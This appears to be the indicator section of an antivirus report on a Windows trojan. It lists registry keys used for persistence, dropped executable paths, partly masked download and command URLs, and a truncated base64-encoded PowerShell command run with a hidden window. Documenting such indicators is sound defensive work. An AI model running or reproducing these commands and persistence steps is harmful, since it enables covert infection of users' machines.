Technical Information
- [<HKLM>\System\CurrentControlSet\Services\kbdnec95] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\kbdnec95] 'ImagePath' = '"%WINDIR%\SysWOW64\wdigest\kbdnec95.exe"'
- 'kbdnec95' "%WINDIR%\SysWOW64\wdigest\kbdnec95.exe"
- 'kbdnec95' %WINDIR%\SysWOW64\wdigest\kbdnec95.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHIAcgAyADIAMwBrAD0AKAAnAEIAJwArACcANAAwADgAbAAnACsAJwBuADkAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBwAFwAbwBGAGYASQBDAGUAMgAwADEAOQAgAC0AaQB0AG...
- %TEMP%\office2019\pz6kc0.exe
- %WINDIR%\syswow64\wdigest\kbdnec95.exe
- from %TEMP%\office2019\pz6kc0.exe to %WINDIR%\syswow64\wdigest\kbdnec95.exe
- '17#.#4.215.84':80
- http://ca####shuasca.com/sys-cache/qkmAGt/
- http://17#.#4.215.84/J88ESDzS0uvpwTH0B/O5bp3ZqaotQOi/f9UL3kY/kkxaOf6/hxwHmXqs/wb5LVm3l362boRIn/
- DNS ASK ca####shuasca.com
- '%TEMP%\office2019\pz6kc0.exe'
- '%WINDIR%\syswow64\wdigest\kbdnec95.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHIAcgAyADIAMwBrAD0AKAAnAEIAJwArACcANAAwADgAbAAnACsAJwBuADkAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBwAFwAbwBGAGYASQBDAGUAMgAwADEAOQAgAC0AaQB0AG...' (with hidden window)